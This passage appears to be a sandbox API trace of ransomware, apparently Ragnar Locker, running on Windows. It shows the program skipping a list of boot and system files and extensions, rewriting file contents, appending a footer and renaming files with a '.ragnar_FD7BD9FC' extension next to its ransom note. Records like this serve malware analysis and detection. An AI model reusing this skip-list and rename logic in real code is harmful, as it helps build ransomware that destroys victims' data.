ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8a301d00, ftLastWriteTime.dwHighDateTime=0x1c2d7fa, nFileSizeHigh=0x0, nFileSizeLow=0x734, dwReserved0=0x0, dwReserved1=0x0, cFileName="PHONE.XML", cAlternateFileName="")) returned 1 [0068.353] lstrcmpiW (lpString1="PHONE.XML", lpString2=".") returned 1 [0068.353] lstrcmpiW (lpString1="PHONE.XML", lpString2="..") returned 1 [0068.353] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ac627e0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7ac627e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0068.353] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0068.353] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0068.353] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1271800, ftCreationTime.dwHighDateTime=0x1c4481e, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc1271800, ftLastWriteTime.dwHighDateTime=0x1c4481e, nFileSizeHigh=0x0, nFileSizeLow=0x9869, dwReserved0=0x0, dwReserved1=0x0, cFileName="STOCKS.DAT", cAlternateFileName="")) returned 1 [0068.353] lstrcmpiW (lpString1="STOCKS.DAT", lpString2=".") returned 1 [0068.353] lstrcmpiW (lpString1="STOCKS.DAT", lpString2="..") returned 1 [0068.353] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5866b900, ftCreationTime.dwHighDateTime=0x1c29047, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5866b900, ftLastWriteTime.dwHighDateTime=0x1c29047, nFileSizeHigh=0x0, nFileSizeLow=0xa7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="STOCKS.XML", cAlternateFileName="")) returned 1 [0068.353] lstrcmpiW (lpString1="STOCKS.XML", lpString2=".") returned 1 [0068.353] lstrcmpiW (lpString1="STOCKS.XML", lpString2="..") returned 1 [0068.353] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="TIME.XML", cAlternateFileName="")) returned 1 [0068.353] lstrcmpiW (lpString1="TIME.XML", lpString2=".") returned 1 [0068.353] lstrcmpiW (lpString1="TIME.XML", lpString2="..") returned 1 [0068.353] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="TIME.XML", cAlternateFileName="")) returned 0 [0068.353] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0068.353] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7ac88940, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ac88940, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0068.353] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7ac88940, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ac88940, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.353] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310fad00, ftCreationTime.dwHighDateTime=0x1c2d758, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x310fad00, ftLastWriteTime.dwHighDateTime=0x1c2d758, nFileSizeHigh=0x0, nFileSizeLow=0x22d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATES.XML", cAlternateFileName="")) returned 1 [0068.353] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x4b [0068.353] lstrcpyW (in: lpString1=0x1ea0a0, lpString2="DATES.XML" | out: lpString1="DATES.XML") returned="DATES.XML" [0068.353] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned=".XML" [0068.353] lstrcmpiW (lpString1="DATES.XML", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0068.353] lstrcmpiW (lpString1="DATES.XML", lpString2="autorun.inf") returned 1 [0068.353] lstrcmpiW (lpString1="DATES.XML", lpString2="boot.ini") returned 1 [0068.354] lstrcmpiW (lpString1="DATES.XML", lpString2="bootfont.bin") returned 1 [0068.354] lstrcmpiW (lpString1="DATES.XML", lpString2="bootsect.bak") returned 1 [0068.354] lstrcmpiW (lpString1="DATES.XML", lpString2="bootmgr") returned 1 [0068.354] lstrcmpiW (lpString1="DATES.XML", lpString2="bootmgr.efi") returned 1 [0068.354] lstrcmpiW (lpString1="DATES.XML", lpString2="bootmgfw.efi") returned 1 [0068.354] lstrcmpiW (lpString1="DATES.XML", lpString2="desktop.ini") returned -1 [0068.354] lstrcmpiW (lpString1="DATES.XML", lpString2="iconcache.db") returned -1 [0068.354] lstrcmpiW (lpString1="DATES.XML", lpString2="ntldr") returned -1 [0068.354] lstrcmpiW (lpString1="DATES.XML", lpString2="ntuser.dat") returned -1 [0068.354] lstrcmpiW (lpString1="DATES.XML", lpString2="ntuser.dat.log") returned -1 [0068.354] lstrcmpiW (lpString1="DATES.XML", lpString2="ntuser.ini") returned -1 [0068.354] lstrcmpiW (lpString1="DATES.XML", lpString2="thumbs.db") returned -1 [0068.354] lstrcmpiW (lpString1=".XML", lpString2=".db") returned 1 [0068.354] lstrcmpiW (lpString1=".XML", lpString2=".sys") returned 1 [0068.354] lstrcmpiW (lpString1=".XML", lpString2=".dll") returned 1 [0068.354] lstrcmpiW (lpString1=".XML", lpString2=".lnk") returned 1 [0068.354] lstrcmpiW (lpString1=".XML", lpString2=".msi") returned 1 [0068.354] lstrcmpiW (lpString1=".XML", lpString2=".drv") returned 1 [0068.354] lstrcmpiW (lpString1=".XML", lpString2=".exe") returned 1 [0068.354] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml")) returned 0x20 [0068.354] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0068.354] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=8918) returned 1 [0068.354] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x22cd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.354] GetProcessHeap () returned 0x580000 [0068.354] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0068.354] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0068.356] VirtualAlloc (lpAddress=0x0, dwSize=0x22d6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0068.357] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.357] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0068.357] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x22d6, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x22d6, lpOverlapped=0x0) returned 1 [0068.358] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0068.358] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x22d6, nNumberOfBytesToLockHigh=0x0) returned 1 [0068.358] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x22d6, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x22d6, lpOverlapped=0x0) returned 1 [0068.358] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x22d6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0068.358] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.358] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x22d6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.358] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0068.358] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0068.358] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0068.358] WriteFile (in: hFile=0x104, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0068.359] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0068.359] GetProcessHeap () returned 0x580000 [0068.359] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0068.359] CloseHandle (hObject=0x104) returned 1 [0068.359] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" [0068.359] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.ragnar_FD7BD9FC" [0068.360] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0068.360] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a301d00, ftCreationTime.dwHighDateTime=0x1c2d7fa, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8a301d00, ftLastWriteTime.dwHighDateTime=0x1c2d7fa, nFileSizeHigh=0x0, nFileSizeLow=0x734, dwReserved0=0x0, dwReserved1=0x0, cFileName="PHONE.XML", cAlternateFileName="")) returned 1 [0068.360] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x4b [0068.360] lstrcpyW (in: lpString1=0x1ea0a0, lpString2="PHONE.XML" | out: lpString1="PHONE.XML") returned="PHONE.XML" [0068.360] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned=".XML" [0068.360] lstrcmpiW (lpString1="PHONE.XML", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0068.360] lstrcmpiW (lpString1="PHONE.XML", lpString2="autorun.inf") returned 1 [0068.360] lstrcmpiW (lpString1="PHONE.XML", lpString2="boot.ini") returned 1 [0068.360] lstrcmpiW (lpString1="PHONE.XML", lpString2="bootfont.bin") returned 1 [0068.360] lstrcmpiW (lpString1="PHONE.XML", lpString2="bootsect.bak") returned 1 [0068.360] lstrcmpiW (lpString1="PHONE.XML", lpString2="bootmgr") returned 1 [0068.360] lstrcmpiW (lpString1="PHONE.XML", lpString2="bootmgr.efi") returned 1 [0068.360] lstrcmpiW (lpString1="PHONE.XML", lpString2="bootmgfw.efi") returned 1 [0068.360] lstrcmpiW (lpString1="PHONE.XML", lpString2="desktop.ini") returned 1 [0068.360] lstrcmpiW (lpString1="PHONE.XML", lpString2="iconcache.db") returned 1 [0068.360] lstrcmpiW (lpString1="PHONE.XML", lpString2="ntldr") returned 1 [0068.360] lstrcmpiW (lpString1="PHONE.XML", lpString2="ntuser.dat") returned 1 [0068.360] lstrcmpiW (lpString1="PHONE.XML", lpString2="ntuser.dat.log") returned 1 [0068.360] lstrcmpiW (lpString1="PHONE.XML", lpString2="ntuser.ini") returned 1 [0068.360] lstrcmpiW (lpString1="PHONE.XML", lpString2="thumbs.db") returned -1 [0068.361] lstrcmpiW (lpString1=".XML", lpString2=".db") returned 1 [0068.361] lstrcmpiW (lpString1=".XML", lpString2=".sys") returned 1 [0068.361] lstrcmpiW (lpString1=".XML", lpString2=".dll") returned 1 [0068.361] lstrcmpiW (lpString1=".XML", lpString2=".lnk") returned 1 [0068.361] lstrcmpiW (lpString1=".XML", lpString2=".msi") returned 1 [0068.361] lstrcmpiW (lpString1=".XML", lpString2=".drv") returned 1 [0068.361] lstrcmpiW (lpString1=".XML", lpString2=".exe") returned 1 [0068.361] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml")) returned 0x20 [0068.361] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0068.361] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=1844) returned 1 [0068.361] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x72b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.361] GetProcessHeap () returned 0x580000 [0068.361] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0068.361] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0068.363] VirtualAlloc (lpAddress=0x0, dwSize=0x734, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0068.363] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.363] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0068.363] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x734, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x734, lpOverlapped=0x0) returned 1 [0068.363] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0068.363] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x734, nNumberOfBytesToLockHigh=0x0) returned 1 [0068.363] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x734, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x734, lpOverlapped=0x0) returned 1 [0068.363] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x734, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0068.364] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.364] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x734, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.364] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0068.364] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0068.364] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0068.364] WriteFile (in: hFile=0x104, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0068.364] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0068.364] GetProcessHeap () returned 0x580000 [0068.364] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0068.364] CloseHandle (hObject=0x104) returned 1 [0068.365] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" [0068.365] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.ragnar_FD7BD9FC" [0068.365] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0068.365] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ac627e0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7ac627e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0068.365] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x4b [0068.365] lstrcpyW (in: lpString1=0x1ea0a0, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0068.365] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\RGNR_FD7BD9FC.txt") returned=".txt" [0068.366] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0068.366] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1271800, ftCreationTime.dwHighDateTime=0x1c4481e, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc1271800, ftLastWriteTime.dwHighDateTime=0x1c4481e, nFileSizeHigh=0x0, nFileSizeLow=0x9869, dwReserved0=0x0, dwReserved1=0x0, cFileName="STOCKS.DAT", cAlternateFileName="")) returned 1 [0068.366] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x4b [0068.366] lstrcpyW (in: lpString1=0x1ea0a0, lpString2="STOCKS.DAT" | out: lpString1="STOCKS.DAT") returned="STOCKS.DAT" [0068.366] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned=".DAT" [0068.366] lstrcmpiW (lpString1="STOCKS.DAT", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0068.366] lstrcmpiW (lpString1="STOCKS.DAT", lpString2="autorun.inf") returned 1 [0068.366] lstrcmpiW (lpString1="STOCKS.DAT", lpString2="boot.ini") returned 1 [0068.366] lstrcmpiW (lpString1="STOCKS.DAT", lpString2="bootfont.bin") returned 1 [0068.366] lstrcmpiW (lpString1="STOCKS.DAT", lpString2="bootsect.bak") returned 1 [0068.366] lstrcmpiW (lpString1="STOCKS.DAT", lpString2="bootmgr") returned 1 [0068.366] lstrcmpiW (lpString1="STOCKS.DAT", lpString2="bootmgr.efi") returned 1 [0068.366] lstrcmpiW (lpString1="STOCKS.DAT", lpString2="bootmgfw.efi") returned 1 [0068.366] lstrcmpiW (lpString1="STOCKS.DAT", lpString2="desktop.ini") returned 1 [0068.366] lstrcmpiW (lpString1="STOCKS.DAT", lpString2="iconcache.db") returned 1 [0068.366] lstrcmpiW (lpString1="STOCKS.DAT", lpString2="ntldr") returned 1 [0068.366] lstrcmpiW (lpString1="STOCKS.DAT", lpString2="ntuser.dat") returned 1 [0068.366] lstrcmpiW (lpString1="STOCKS.DAT", lpString2="ntuser.dat.log") returned 1 [0068.366] lstrcmpiW (lpString1="STOCKS.DAT", lpString2="ntuser.ini") returned 1 [0068.366] lstrcmpiW (lpString1="STOCKS.DAT", lpString2="thumbs.db") returned -1 [0068.366] lstrcmpiW (lpString1=".DAT", lpString2=".db") returned -1 [0068.366] lstrcmpiW (lpString1=".DAT", lpString2=".sys") returned -1 [0068.366] lstrcmpiW (lpString1=".DAT", lpString2=".dll") returned -1 [0068.366] lstrcmpiW (lpString1=".DAT", 